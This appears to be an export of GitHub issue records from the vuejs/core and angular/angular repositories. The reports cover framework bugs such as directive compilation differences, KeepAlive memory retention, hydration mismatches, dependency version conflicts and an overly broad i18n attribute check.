https://play.vuejs.org/#eNp9UstOwzAQ/BVrTyCVVG3hUiWVAPUAB0DADSNkJUua4tiWH6FSlH9nnVBopbY3787s7OzILVwbkzQBYQ6px9pI4XHBFWNta1EVaLtut5rGMh3vMKl0ua2MZ1KoMuPg3YYDc+iDITjXynk2DLOMnZ2zbMHaKGmJYRVLi6phzYUIfpW1bxwmHEa/NA5TDu/dIh0Th7Ro9b7gdF9xgAQ1D+kc2yn2FqTj4RqqYES3kOZnVSZrpxVF1K/hkOvaVBLto/EV7eQwHwxETEipv+/7nrcBR9t+vsL860B/HeOa0+PJokPbIPneYl7YEv0AL18ecEPvP7DWRZDEPgE+o9MyRI8D7Saogmzv8Hq3d7XR1leqfHXLjUfltkdFo5HZ9XwO9E9uT5z+b3eWXPZzFCml+NGgjZoU4Cy5SiYz6H4AbRLNEw==

### Steps to reproduce

将下列 tsx 代码编译之后的到的结果即可查看到差异
`<div v-auth={[""1"", () => ""2""]}></div>` 和  `const a = [""1"", () => ""2""]
  return <div v-auth={a}></div>` 编译的结果不一样
```ts
<template>
  {{render}}
  {{render2}}
</template>

<script lang=""tsx"" setup>
const render = () => {
  return <div v-auth={[""1"", () => ""2""]}></div>
}

const render2 = () => {
  const a = [""1"", () => ""2""]
  return <div v-auth={a}></div>
}
</script>
```
编译结果
```ts
/* Analyzed bindings: {
  ""render"": ""setup-const"",
  ""render2"": ""setup-const""
} */
import { defineComponent as _defineComponent, resolveDirective as _resolveDirective, createVNode as _createVNode, withDirectives as _withDirectives } from 'vue';
const __sfc__ = /*@__PURE__*/_defineComponent({
  __name: 'App',
  setup(__props, {
    expose: __expose
  }) {
    __expose();
    const render = () => {
      return _withDirectives(_createVNode(""div"", null, null), [[_resolveDirective(""auth""), ""1"", () => ""2""]]);
    };... [TRUNCATED]",,2024-12-20T09:56:39Z,2024-12-23T01:52:04Z,2
vuejs/core,2752049926,Error reported due to esbuild@0.24.1 version issue after project creation,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-7e6aek9b?file=package.json&terminal=dev

### Steps to reproduce

1. 使用 pnpm create vue@latest 创建项目
2. 安装依赖
3. 启动项目
<img width=""1215"" alt=""image"" src=""https://github.com/user-attachments/assets/c90016dd-cc43-4a51-9319-203144c19ba6"" />
 

### What is expected?

normal operation 
目前是 esbuild@0.24.1 更新到此版本。导致项目报错，换一个低版本0.24.0就正常运行

### What is actually happening?

<img width=""1215"" alt=""image"" src=""https://github.com/user-attachments/assets/ce3e4975-1dc2-4a44-aca9-20c92060406b"" />


### System Info

```shell
System:
    OS: macOS 15.1
    CPU: (10) arm64 Apple M2 Pro
    Memory: 69.50 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 18.16.0 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 8.19.2 - /usr/local/bin/npm
    pnpm: 8.5.0 - /usr/local/bin/pnpm
    Watchman: 2023.10.23.00 - /opt/homebrew/bin/watchman
  Browsers:
    Chrome: 131.0.6778.205
    Edge: 131.0.2903.112
    Safari: 18.1
  npmPackages:
    vue: ^3.5.13 => 3.5.13
```


### Any additional comments?

_No response_",,2024-12-20T06:36:15Z,2024-12-20T08:09:27Z,2
vuejs/core,2749447702,KeepAlive includeremovedeactive component应该从 keep-alive storageContainer 中删除组件,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVMGO2jAQ/RXL6oGVdhNBe6IBdUs5bA9t1eVW9+AmE+LFsSPHDkiIf+/YCQksLO0t9rw382bmOXv6WFVR44BOaVKnRlSW1GBdNWdKlJU2luyJgfyeKNjZlUg35EByo0vCKLIY/djjFrqsxsdYFIejz/waMznHTHoMUxKweqG3baqZLzyyxsEdRn1MqFS6DLrIL0YDkNF7zBZyMfrbY5nKnUqt0IqkBVdreMakozuyZ4oMBaKGS+eT5VzWgLTDBe+pLXikdvV7YqfAl0U66Wc0QsJs3nII4RKMHW0AqkcpGljwtIAvoonSQshsKaEEZRfaKXvn8QffACpJ4nYduAg8WCgryS3giZDkj7MWNX5KJRabMTo0yejc90dSlEUmSdwib7G6FpFooNQNEC/0gXulIcv4PMnKcFWLMCLFS8A0OfdsUurMn7SzD0LhmVcVcBNISDtJOu2miODuC2u3MAS2q28eRI7xflWYLz7HTBADuLb+PomHGq3UeNCKF0ncz5Det2t75XsEwS7YNIOcO4nWD0vFNqeDwXA5uKBb2ynG84BNYvy6Vjg8i/PC/Vt7+5n9S5t/B/6u9FaC7OjZS1cGh6HRAjoDjoZvUN0JYytUprfRhWXR8rYQdfQOZFRxg77t7Nsn/M/ZoKmuzMbWqVa5WEcvtVY4n6AGfYoEgW/oe+VXWTM6PepklEupt1/Dnf9RhJYCp4B0c+X+pd75O0Z/GKjBNDjaPma5WYNtw8vnbzi1kyDa20lE3wj+hFpL5zW2sM9OZSj7BBfUPoVVC7Ve1cudBXRo15QXOiwmLN7P6q3WB7nvow+Bh+Onh7/L4/OJ

### Steps to reproduce

类似的问题 #5258
在这个的基础上如果keepalive被Transition包裹则还是会导致无法回收

点击show comp2按钮显示comp2
单击remove keep-alive comp1按钮comp1从保持活动状态中删除
KeepAlive 的 storageContainer 仍然有 comp1.element

### What is expected?

储存容器移除 comp1.element

### What is actually happening?

存储容器仍有 comp1.element

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-19T07:10:54Z,2024-12-19T08:37:43Z,1
vuejs/core,2742265099,vue 3.4.15及以上版本中发现 compiler-sfc.cjs.js 引用magic-string^0.30.11，6小时前magic-string更新导致报错,"### Vue version

3.4.15

### Link to minimal reproduction

https://github.com/vuejs/core/issues/new?assignees=&labels=&projects=&template=bug_report.yml

### Steps to reproduce

<img width=""537"" alt=""ef020707303a81410a989e08b0602e0"" src=""https://github.com/user-attachments/assets/5afd0a4c-e104-4593-b445-1b7c8fd4843f"" /> <img width=""900"" alt=""c3d7c26a1b1e5a30c8063412c9fd630"" src=""https://github.com/user-attachments/assets/bfc361ac-998e-47d1-a16e-650b94315831"" />
更新导致 ES 模块和 CommonJS 模块的兼容性

### What is expected?

magic-string引用更新导致 ES 模块和 CommonJS 模块的兼容性问题，导致新install的包运行时直接报错

### What is actually happening?

magic-string引用更新导致 ES 模块和 CommonJS 模块的兼容性问题，导致新install的包运行时直接报错

### System Info

_No response_

### Any additional comments?

_No response_","need more info,can't reproduce",2024-12-16T12:31:17Z,2024-12-20T00:09:48Z,1
vuejs/core,2740739842,watch with deep: true incorrectly collects parent dependencies,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1kk1PwzAMhv+KldOQqk4ITmWbBGgHOAACxCmX0npdR5pESbpNqvrfcVy2AZomceCW2K/txx+duLY2XbcoMjHxhattAI+htTOp68YaF6CDTR6KZQIO8yLUa4QeFs40IAXFSXEltdSF0T6AeV/BdK8bdaDRBywzyrEwJoNzCu3POIBzjqQGGJ3BdBZD00GdkjRhh8bNW65aTMCokl8s7aITIJY0ClNlqpEUnI/q/Y7ICDM5Yo8UAL3U/4NTItphbn9n4modxBQZBNfSwHeYByyaMxce5kohPQsm42GJtD76BGysygMOv/GPr0hE8AS9qKt05Y2mA+CEUhSmsbVC92hDTU1JQfsbepQiV8ps7tkWyRiVY5ZYfByxr/w22qR4cujRrele9r6QuwrD4J6/POCW3ntnY8pWkfqE8xlp4G1kHGQ3rS4J+5uOae/4jGtdvfr5NqD2u6Yi6GHgfM23J1o/4F6kl1/H04v+EyfJFQA=

### Steps to reproduce

```js
const obj = reactive({ nested: { foo: 1 } });

watch(
  () => obj.nested.foo,
  (newValue, oldValue) => {
    console.log(""watch triggered newValue, oldValue: "", newValue, oldValue);
  }
);

watch(
  () => obj.nested.foo,
  (newValue, oldValue) => {
    console.log(""watch deep triggered newValue, oldValue: "", newValue, oldValue);
  },
  { deep: true }
);

obj.nested = {
  foo: 1,
};
```

When using watch with the deep: true option, the getter execution triggers dependency collection for the entire object tree, including parent properties, instead of only the target property. This causes the callback to be triggered when a parent property (e.g., obj.nested) is modified, even though the target property (e.g., obj.nested.foo) itself has not changed.


### What is expected?

The callback should only be triggered when obj.nested.foo changes, not when the parent ... [TRUNCATED]",,2024-12-15T16:11:54Z,2024-12-16T03:24:39Z,1
vuejs/core,2738498830,Vue flags not working correctly,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/rstoenescu/vue-flags-bug

### Steps to reproduce

Please see the reproduction repo (a barebones Vitejs project folder): /vite.config.js for flags configuration and /src/App.vue for an Options API component.

```
define: {
  // No effect, it's still included
  __VUE_OPTIONS_API__: 'false',

  // Has the opposite effect: devtools will be enabled for prod builds!
  // Commenting this out will disable devtools in prod builds.
  __VUE_PROD_DEVTOOLS__: 'false',

  // Has the opposite effect: mismatch details will be included in prod builds!
  __VUE_PROD_HYDRATION_MISMATCH_DETAILS__: 'false'
},
```

1. Run `yarn build` then serve the /dist folder. App.vue, which is an Options API component runs fine and executes its Options API definition.
2. Run `yarn build` with vite.config.js > `__VUE_PROD_DEVTOOLS__: 'false',`. Serve the /dist folder and notice that Vue Devtools is available and running. Then again with the vite.config.js `__VUE_PROD_DEVTOOLS__` line commented out. Notice that Vue Devtools is not available.

### What is expected?

1. Options API to not be included when define > `__VUE_OPTIONS_API__` is set to false.
2. Vue Devtools not to be available for production builds when define > `__VUE_PROD_DEVTOOLS__` is set to false.
3. Hydration mismatches will still be available in production builds when define > `__VUE_PROD_HYDRATION_MISMATCH_DETAILS__` is set to false.

... [TRUNCATED]",,2024-12-13T14:14:42Z,2024-12-16T00:48:57Z,2
vuejs/core,2737661676,incorrect default value of boolean prop in defineProps ,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUstOwzAQ/JWVLwWpSg5wqtIiQD3AASrg6EuabIOLY1t+lEoh/87aoQ8kaG87O7P27NgduzUm2wRkE1a4ygrjwaEPBmSpmiln3nE240q0RlsP97o1sLK6hVGWRxBHR1xxVeTDNGkJeGyNLD0SAijSVE51kR8RbEyHV1qtRJOtnVbkoItyzirSC4n22XihFRmYQGIiV0qpPx9Tz9uA412/esfq44/+2m1jj7OFRYd2g5ztOV/aBv1Az1+fcEv1nmx1HSSpT5Av6LQM0eMguwuqJttHuuT2IWUnVPPm5luPyu2Wikajsk96zijLGNV/qx/sXmXXaY6rnlLcvcOZJ6SonQdjtXEwhRpXQuEioiLdUN5MwHlLNpObJUEV2iXaBCuCS60llirh+oDhC2jvdFxNhmYXl6d/Qy02qQDouh87PW1CTD5Qv39J/w0r/uD7

### Steps to reproduce

define props like:
```ts
const props = defineProps<{
  a?: string,
  b?: number,
  c?: boolean,
  d?: boolean | undefined
}>()
```
got the result:
```
{ ""c"": false, ""d"": false }
```

### What is expected?

default value of (not required) boolean props should be undefined

### What is actually happening?

got false

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-13T07:29:45Z,2024-12-13T07:33:59Z,1
vuejs/core,2735339893,Hydration mismatch with non-printable characters,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9kUFLxDAQhf9KnMteli5SvSxVUFlQDyoqeAlIacfaNU1CMqmF0v/uJGW1B9nc8t6byTeTEa6szfqAsIXCV661JDxSsJdSV0Z7EoQDiQuxukWljHgzTtUnUrqV1MVmLuAoXwg7q0pCvglRxHrBZxznBtOU5E3Ui80iC2sgzy99tE2290YzxxijEirT2Vahe7TUMomErUhO9Epm+b5PGrmA64NefWL19Y++90PUJDw59Oh6lPDrUekapNnevTww7cLsTB0Up4+Yz+iNCpFxjl0HXTP2Ipdo7zprHLW6efW7gVD7w1ARNCanlJfAn3FzZPQ/3Dw7S3VST7zF9x5d7MkLzLPz7DSH6Qet+5ud

### Steps to reproduce

1) Open the reproduction
2) Look into the console

### What is expected?

No hydration mismatch should occur since Vue should recognize that by retrieving the content of an HTML element from the DOM, it will not receive these characters.


### What is actually happening?

When Vue renders a string with non-printable characters on the server, a hydration mismatch appears on the client.
For example:
```ts
const text = 'Hello World!\r'
```

_Edit: Actually, it seems that only `\r` is causing problems based on my testing._

### System Info

_No response_

### Any additional comments?

_No response_",":hammer: p3-minor-bug,scope:hydration",2024-12-12T09:21:50Z,2024-12-12T10:41:24Z,1
vuejs/core,2733970230,Typescript error: required named v-model props passed in camelCase but expected in kebab-case,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqVUl1PwjAU/StNX9AERhB9QTABwoMmfkR9bGLGdoFiaWvbIWbZf/e2kw0ETHzaes69t+eenpwOtY7WGdAe7TtYaRE7uGGSkH6y4CJtJWqllQTpyLq1UimInjZKg3FfrXjAqIHZkNFDblpyI+TaOK7f3pmNR5sYrh2x4DJNRCznWO4so8hyvM84khNsJwWZGbUiDRTYuK64sVc2roSVJVH7l2C/lW9iMlHSOj9vSAb+c9Y5R7xCRz/ohUf77VIbKqFN1IRVMz6PllZJtCj3zjDq7+ACzKN2HKcw2iOB8VwshPq8C5gzGTS3eLKA5P0IvrQbjzH6ZMCCWQOjFediMwdX0pOXB9jgf0Wi45nA6j/IZ7BKZF5jWTbKZIqyd+qC2ttgK5fzVzvZOJB2u9SeUOsMT4IYD3u0CByjaLR/jVOO1Ft0o8vQx2SB5h55r4MU5jnZZmpICmzcg0YB+ke4yjevJw5ICjMu4d6n96xRR7vRDAn8yLiBtNyYFHVqagGnJkxPTthP2NsajPcbN+9GV1GnS4tvs5I37Q==

### Steps to reproduce

I'm not sure why in the linked project I don't have any type errors, but I get them locally when running the same code example. If you have a named `defineModel` with `required: true` and try to pass it via kebab case to the child component, typescript complains that `property-a` isn't being passed. It does say that `propertyA` is being passed. I noticed that only the v-model props are being expected in kebab-case, the others are expected in camelcase.

I was also having additional runtime problems with kebab casing, but these were resolved in version 3.5.12. It seems the typescript issue is a lingering problem.

![Capture d’écran 2024-12-11 153229](https://github.com/user-attachments/assets/58b09f05-9f61-467e-8114-afd25ec9fbd5)


### What is expected?

I called `defineModel` with the string `property-a` and I ex... [TRUNCATED]",scope: types,2024-12-11T20:45:30Z,2025-02-25T14:25:48Z,0
vuejs/core,2732236231,子组件直接作为父组件根元素时，父组件的事件会传递到子组件，类似事件冒泡,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqtU8tO6zAQ/RXLm6RSlS7uXUFa8VAXIPEQsMMsImdaDMk48qNUqvrvjB1SQkkRCzaW533m+HjDT5smW3ngRzy30qjGMQvONzOBqm60cey2MIDuXJOFdGELo2uWZJM9f2iSCFx4lE5pZJVepqONQMakRqsryIInaWJVMjoWuBWYT9qZNI0MB3VTFQ7IYizfn3tC9VPB6RR8lu+Pp5p80mvAx9xZmrxQy+zFaqT9IhjBJZWoCsxNE3BawY9YjIRYUVX67TL6nPEw7vzyGeTrgP/FroNP8FsDFswKBN/FXGGW4Nrw/P4a1nTfBWtd+oqyfwjeAbHmA8Y27cxjSbB7eRHtRXwlhcsHO187QNstFYCGzG3MF5zeJ7B1aPVPuP+y/7GOXohYHHjmw1rZMI1X2qODcsyo3bk3ofoCrStQAtu26olgBCcNfNTda/wusL7zQ11BSo6prt10YEYapCVwhyNNR9PZQR2Ou15RkKMowx802YdEGvxifhfg/gJ/yFtLBNTKWWKhhIVCmAcrfUxov+Qp7PN3bNEHGqJq4LNHSGnE8Is/XqpVvLRXdiIrJV+7T85mfQLzSZfc3b7SvX0HaRytMg==

### Steps to reproduce

点击子元素

### What is expected?

控制台不该有任何输出

### What is actually happening?

控制台输出了 'parent'

### System Info

_No response_

### Any additional comments?

不清楚是不是就是这样设计的",,2024-12-11T08:32:33Z,2024-12-11T08:39:57Z,1
vuejs/core,2730398601,怎样定义方法暴露给JCEF(Chrominu内核)调用,"### Vue version

3.5.1

### Link to minimal reproduction

无

### Steps to reproduce

如果是 javascript，只要定义方法，直接可以被 jcef 的 executeJavaScript 调用。
function fnAlert(){....}

jcef调用：executeJavaScript('fnAlert();','',0)

但在vue3中，使用setup模式定义方法，在jcef中调用提示 Uncaught ReferenceError: fnAlert is not defined
vue3中定义

`
<script setup lang=""ts"">
function fnAlert(msg) {
  alert(msg);
}
defineExpose({
  fnAlert,
});
</script>
`

在vue3中如何像javascript把方法暴露出来给chromium内核浏览器执行 executeJavaScript  来调用方法。

### What is expected?

向浏览器暴露方法

### What is actually happening?

...

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-10T15:08:52Z,2024-12-10T15:12:26Z,0
vuejs/core,2729672988,@vue/compat传递组件未声明的props，没有作为attrs穿透,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UsFuwjAM/ZUolxapgsN2qmDShjiwA5s2tFMuVWogEJIocRlSxb/PSSmrpm252e/Zfnl2yx+dG58a4CWfBumVQxYAG/cgjDo665G1NWyUgbml0IDBYldIDxXCx8rWcGEbb49McOohuDDSmoBsDWdkM/ajMm+FYV373HnrQtFWiD5cRgmgF6uthrG227ztKFfGlcA8VXvD8tHsYZdntTplRRanZYlxESZSexlLE0jFQG0eqUWcJnUVQpkhBMwKiq2ZayUPZWzcDmVkMuahzka35sJMJ51X5BIFCEenaQRFjE1l/11WqjATnEQIPiFsOhkQecEx0JyN2o73wRryP5kgeKxXGvyLQ0U6BC/Z1R7BK63t53PKoW8gCk95uQN5+CW/D+eYE/zVQwB/ohXdMKz8FrCDF+8rMmYAHm3daGL/A74BedREjR3tqTE1yR7wktpluiJltuuwOCOY0H8qCk07S/x0QPFS/vr6t9y78X2/a375Aun37qM=

### Steps to reproduce

如以上repo

### What is expected?

在vue中，class 和 onClick都会作为attrs被传递,因为并没有在组件的props中声明


### What is actually happening?

在@vue/compat中，props和attrs中都没有class 和 onClick 属性。

此行为导致vant组件库大量组件无法使用

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-10T10:18:46Z,2024-12-11T01:17:16Z,2
vuejs/core,2726585872,多次切换checkbox，vnode没有释放,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNqNU8tu2zAQ/JUtL06AVILQnlLZ6CuH9tAWTY68KPLKZkKRBB+KA8P/niUZyXEeRm7kzJC7wx1u2TdjiiEgO2e1a60wHhz6YBZcid5o62ELFjvYQWd1DzOSzibqh+7NI16UcRNvmn054KsDQTUquGq1clRsre/SNfNY5sTbgKd7tl03aoXEnZzCfAFbrmA6UQyNDJH7cIhwtYsX1GW2Q0Zo47E3svFIO4D6OnivFXxtpWhv55zlMpwt8qIusyCLU3fDR9GRcKzEGZR7tiIapcOE1eWTWuyMeUdWOrEqbpxW9MrJA5Wkc0Ki/Wu8IKucnWd3kWuk1He/Exbf42zE2zW2t6/gN24TMc7+WXRoB3Iycb6xK/SZvrj8gxtaT2Svl0GS+gj5H52WIfaYZd+DWlLbT3Sp219p4EKtrtzFxqNyo6nYaFTukp4zGn98sres79v9VHxO52ic9IpjuF7E9NiYl2JIi5zDqkpgmdHnY5rC+cpHOPIVKMkAY1ZpOrj8ib1+DHPXUCgoze/qEWqhTPDg7w2mSNJt15oGS+GiUaAcwVyCwvq2nd0DcQVLGQ==

### Steps to reproduce

重复切换/勾选多少次就会出现多少个vnode

https://github.com/user-attachments/assets/1537f206-c147-4595-9d31-c236cf691c15



### What is expected?

销毁掉

### What is actually happening?

没有销毁

### System Info

_No response_

### Any additional comments?

_No response_",,2024-12-09T10:12:16Z,2024-12-09T12:41:32Z,1
vuejs/core,2725006087,Reactivity is lost when using `Reactive Props Destructure` on props with default values specified using `withDefaults`.,"### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNq1U0uP0zAQ/itTX9KVSqJV4VLSSjxWAg6wWpC4WEJRMmm9OHZkT7JFUf47Y2dTCiy9cfN83zy+eXgQr9o27TsUG5H70qmWwCN17U4a1bTWEQzgsIYRamcbSNg1OVFvbNM+4mkWjJApeSlNaY0naPwetiF6mbxDrS18tU5Xi+RKmjybinEZNgibVheEbAHkh+vdMMTgccwztiKqTNsR9M8aW6HeSsG8FJBNZBSyYeg3Is/OEouVIM+6arVP77013PAQYqUoOVhpdJ9aUqxbig1EJnAFy374EDFyHa5mvDxg+f0J/N4fAybFrUOPrkcpThwVbo800TefP+KR3yeS2+o0e18g79Bb3QWNk9vrzlQs+8wvqn0fd6PM/ou/ORIaPzcVhAbPMfpLwbsKc/tX67/krtPnMU6akac47/nsYnRhwuSJE5yuJ8vgDouSVK/oBygP2nqaL+NxvXwdD4oOb7EuOk1+WWGtDN462/p8YI8NeHLcybhbXq1gQqSYbinIWCykGPmanqhmLMuKFZn630Ugcuetbf9KEbu9VPvyp6hUHx8QE/Ka5h8S2Wyi/zz4bz26sH5e1Tp9kV6vxfgTLfRRWA==

### Steps to reproduce

* Update `msg` in `App.vue` from Preview from input tag.
* The `Comp: Hello World!` shown in Preview does not change according to the input value (`msg`).

### What is expected?

* That reactivity is not lost and that the `Comp: Hello World!` shown in Preview is changed to match the `msg` in `App.vue`.

### What is actually happening?

* Reactivity is lost and the `Comp: Hello World!` displayed in Preview is not changed to match the `msg` in `App.vue`.

### System Info

_No response_

### Any additional comments?

As shown below, it seems to occur when you set default values with `withDefaults` while expecting `Reactive Props Destructure` and split assigning props.

```ts
// Reactivity is lost
const { msg } = withDefaults(defineProps<{msg: string}>(), {msg: ""Hello Comp!!... [TRUNCATED]",,2024-12-08T07:28:30Z,2024-12-09T00:54:00Z,3
vuejs/core,2720437152,Using headers attribute on table cells trigger warning when running tests with happy-dom environment ,"### Vue version

3.5.13

### Link to minimal reproduction

https://codesandbox.io/p/devbox/8kthxl

### Steps to reproduce

**From the reproduction link**

On a terminal, run :

```shell
pnpm run test
```

**From a new project**

 1. Install vue, vue-test-utils and vitest with happy-dom as environment.
 2. Create a component with a table and a `headers` attribute on any of the table cells.
 3. Set up a test for this component, then run the tests.

### What is expected?

`headers` attribute on td element should be displayed and interpreted as an HTML attribute.

### What is actually happening?

Got the following warning

```
[Vue warn]: Failed setting prop ""headers"" on <td>: value header is invalid. TypeError: Cannot set property headers of [object Object] which has only a getter
    at patchDOMProp (/project/workspace/node_modules/.pnpm/@vue+runtime-dom@3.5.13/node_modules/@vue/runtime-dom/dist/runtime-dom.cjs.js:603:13)
    at patchProp (/project/workspace/node_modules/.pnpm/@vue+runtime-dom@3.5.13/node_modules/@vue/runtime-dom/dist/runtime-dom.cjs.js:714:5)
    at mountElement (/project/workspace/node_modules/.pnpm/@vue+runtime-core@3.5.13/node_modules/@vue/runtime-core/dist/runtime-core.cjs.js:4827:11)
    at processElement (/project/workspace/node_modules/.pnpm/@vue+runtime-core@3.5.13/node_modules/@vue/runtime-core/dist/runtime-core.cjs.js:4774:7)
    at patch (/project/workspace/node_modules/.pnpm/@vue+runtime-core@3.5.13/node_module... [TRUNCATED]",,2024-12-05T13:35:41Z,2024-12-06T07:01:31Z,2
vuejs/core,2712322905,The v-model  in  @vue/compact is not work well,"### Vue version

3.5.13

### Link to minimal reproduction

NA

### Steps to reproduce

Recently, we have been upgrading from Vue 2 to Vue 3 using the migration build. We found that the Vue 2 and Vue 3 syntax for v-model cannot coexist. The version of Vue3 is 3.5.13. ""If I set compatConfig.MODE=2, the Vue 3 code does not work correctly; if I set compatConfig.MODE=3, then the Vue 2 code does not work correctly
code: vue2
<template>
  <div>
    <input type=""checkbox"" :checked=""value"" @change=""emitChange"" />
    {{ value ? ""Yes"" : ""No"" }}
  </div>
</template>

<script>
export default {
  props: {
    value: {
      type: Boolean,
      default: false,
    },
  },
  data() {
    return {
      text: """",
      valid: false,
    };
  },
  methods: {
    emitChange(event) {
      this.$emit(""input"", event.target.checked);
    },
  },
};
</script>
code: vue3
<!-- Child.vue -->
<script setup>
const model = defineModel(); // eslint-disable-line
function update() {
  model.value++;
}
</script>

<template>
  <div>
    <div>Parent bound v-model is: {{ model }}</div>
    <button @click=""update"">Increment</button>
  </div>
</template>


### What is expected?

In @vue/compact, Use vue2 and vue3 totally

### What is actually happening?

v-model doesnot work well

### System Info

```shell
NA
```


### Any additional comments?

_No response_",,2024-12-02T15:27:32Z,2024-12-09T02:08:29Z,3
angular/angular,4687389145,Dependency conflict during installation,"### Which @angular/* package(s) are the source of the bug?

core, compiler

### Is this a regression?

No

### Description

I am using Angular 20 and recently encountered a peer-dependency conflict during installation. It seems that platform-browser-dynamic is installing angular/core@20.0.7 and ^20.0.0 installs angular/core@20.3.25. I can get around the issue by locking down my versions but this issue occurred recently and was working fine last week. Attached are screenshots of the errors and my npm package.json dependancies.

<img width=""431"" height=""276"" alt=""Image"" src=""https://github.com/user-attachments/assets/13da1fae-e74d-4f3b-8cf7-d42f2ec441f2"" />

<img width=""667"" height=""448"" alt=""Image"" src=""https://github.com/user-attachments/assets/65e2060a-7084-4b49-9c2d-1d030a428c82"" />

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Repo 1 Dependencies:

""dependencies"": {
    ""@angular/animations"": ""^20.0.4"",
    ""@angular/cdk"": ""^20.0.3"",
    ""@angular/common"": ""^20.0.4"",
    ""@angular/core"": ""^20.0.4"",
    ""@angular/forms"": ""^20.0.4"",
    ""@angular/localize"": ""^20.0.4"",
    ""@angular/material"": ""^20.0.3"",
    ""@angular/material-moment-adapter"": ""^20.0.3"",
    ""@angular/platform-browser"": ""^20.0.4"",
    ""@angular/platform-browser-dynamic"": ""^20.0.4"",
    ""@syncfusion/ej2-angular-image-editor""... [TRUNCATED]","area: packaging,gemini-triaged",2026-06-17T22:04:46Z,2026-06-17T22:06:52Z,1
angular/angular,4675946453,"docs(adev): 404 error on page refresh (F5) for specific ARIA guides (combobox, autocomplete)","### Describe the problem that you experienced

When navigating directly to certain ARIA guide pages (like combobox or autocomplete) or refreshing the page (F5) while on them, the application redirects to the https://angular.dev/404 page.
https://angular.dev/guide/aria/autocomplete 404
https://angular.dev/guide/aria/combobox 404
https://angular.dev/guide/aria/grid 200

### Enter the URL of the topic with the problem

https://angular.dev/guide/aria/combobox

### Describe what you were looking for in the documentation

I was trying to read the documentation regarding ARIA patterns (specifically the combobox and autocomplete guides) and wanted the page to load correctly after a hard refresh.

### Describe the actions that led you to experience the problem

Open the browser and go to https://angular.dev/guide/aria/grid (this works fine).

Navigate to https://angular.dev/guide/aria/combobox or https://angular.dev/guide/aria/autocomplete.

Press F5 to refresh the page.

Observe that the URL changes to https://angular.dev/404 and the ""Page not found"" view is displayed.

### Describe what you want to experience that would fix the problem

The page should render correctly on initial load and after a hard refresh without redirecting to the 404 page.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, ... [TRUNCATED]","area: docs-infra,gemini-triaged",2026-06-16T16:12:49Z,2026-06-17T15:03:58Z,0
angular/angular,4673140578,Regression: i18n-on attribute falsely rejected as an event handler since v22.0.1 — startsWith('on') is too broad,"### Which @angular/* package(s) are the source of the bug?

compiler

### Is this a regression?

Yes

### Description

In v22.0.1, commit [1ee224ca30](https://github.com/angular/angular/commit/1ee224ca30b9b5a7906b4f481135f1fb900fb3ce) (""fix(compiler): disallow i18n event attributes"") widened the i18n attribute security check to reject any i18n-prefixed attribute whose name starts with the substring on (case-insensitive):

```
// packages/compiler — I18nMetaVisitor._visitElementLike
if (isTrustedType || name.toLowerCase().startsWith('on')) {
  this._reportError(attr, `Translating attribute '${name}' is disallowed for security reasons.`);
}
```

The intent is to block translation of event-handler attributes (onclick, onmouseover, …). But String.prototype.startsWith('on') matches much more than event handlers — it also matches the bare attribute on, as well as online, onboarding, once, etc. These are legitimate, translatable attributes and are now rejected as a false positive.

This breaks Kendo UI for Angular's Switch component (@progress/kendo-angular-inputs), whose precompiled kendoSwitchLocalizedMessages container declares i18n-on=""kendo.switch.on|The **On** label of the Switch."" for its On/Off labels. Any app importing <kendo-switch> now fails to build:

```
✘ [ERROR] Errors found in the template:
Translating attribute 'on' is disallowed for security reasons. (""oSwitch""], ngImport: i0, template: `
        <ng-container kendoSwitchLocalizedMessages
            [ERROR ->]i18n... [TRUNCATED]","area: compiler,gemini-triaged",2026-06-16T10:04:16Z,2026-06-16T10:22:51Z,1
angular/angular,4665932299,New synchronous resource behavior in v22 can cause test failures but is not called out as a breaking change,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

During the upgrade to v22 I've found some of our tests suddenly failing with hard-to-explain issues. I eventually managed to trace this down to resource resolving earlier than they used to (#67382). This was causing conditions to change when manually controlling change detection (e.g. components now render because an `@if` matches).

While the behavior change is sound and guarded behind the major version bump, it would seem sensible to call out this behavior change in the breaking changes on the release and potentially in the upgrade guide (likely under *Advanced*).

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : n/a (we use Bazel)
Angular           : 22.0.1
Node.js           : 24.16.0
Package Manager   : pnpm 11.4.0+sha512.f0febc7e37552ab485494a914241b338e0b3580b93d54ce31f00933015880863129038a1b4ae4e414a0ee63ac35bf21197e990172c4a68256450b5636310968f
Operating System  : linux x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular-devkit/architect         │ 0.2102.13   ... [TRUNCATED]",area: core,2026-06-15T14:20:08Z,2026-06-15T15:57:05Z,1
angular/angular,4658246464,Signals form: fill form model without some model fields,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

after defining the form with signal model including nested fields, then set this form with model and set the nested object of field with {} it will produce error in console this.field(...) is not a function

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

